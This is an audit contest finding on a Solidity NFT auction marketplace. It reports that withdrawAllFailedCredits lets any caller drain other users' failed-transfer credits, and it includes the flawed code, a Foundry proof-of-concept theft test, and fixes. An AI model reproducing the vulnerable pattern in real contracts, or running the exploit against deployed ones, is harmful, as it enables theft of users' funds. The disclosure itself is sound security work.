Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Fund Theft in withdrawAllFailedCredits Function

rbd3

Root + Impact

Description

  • The `withdrawAllFailedCredits` function has a critical implementation mismatch that allows any user to steal failed transfer credits belonging to other users.

  • The function accepts a _receiver parameter but inconsistently uses it:

    ​
    function withdrawAllFailedCredits(address _receiver) external {
    @> uint256 amount = failedTransferCredits[_receiver]; //@audit Reads from _receiver
    require(amount > 0, "No credits to withdraw");
    @> failedTransferCredits[msg.sender] = 0; //@audit Zeroes msg.sender's credits
    @> (bool success, ) = payable(msg.sender).call{value: amount}(""); //@audit Sends to msg.sender
    require(success, "Withdraw failed");
    }

Risk

Likelihood:

  • No access control: any address can perform the attack

Impact:

  • Direct fund theft of any user's failed transfer credits

  • Infinite exploitation: same victim can be drained multiple times.

Proof of Concept

Add this function into the test file:

​
function test_withdrawAllFailedCredits_FundTheftVulnerability() public {
_mintNFT();
_listNFT();
​
address alice = address(0x45);
address bob = address(0x20);
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
// Alice places bid, gets outbid, creating failed credits
uint256 firstBidAmount = MIN_PRICE + 0.1 ether;
vm.prank(alice);
market.placeBid{value: firstBidAmount}(TOKEN_ID);
uint256 secondBidAmount = firstBidAmount * 120 / 100;
vm.prank(bob);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
// Alice now has failed credits
uint256 aliceCredits = market.failedTransferCredits(alice);
assertEq(aliceCredits, firstBidAmount);
uint256 bobBalanceBefore = bob.balance;
// ATTACK: Bob steals Alice's credits
vm.prank(bob);
market.withdrawAllFailedCredits(alice);
// PROOF OF THEFT:
assertEq(bob.balance, bobBalanceBefore + aliceCredits); // Bob got Alice's ETH
assertEq(market.failedTransferCredits(alice), aliceCredits); // Alice's credits still exist
assertEq(market.failedTransferCredits(bob), 0); // Bob's credits zeroed
}
​

Recommended Mitigation

Add a check that _receiver is msg.sender

​
function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver == msg.sender, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[_receiver] = 0; // Now consistent
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
or remove unnecessary parameter:
​
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!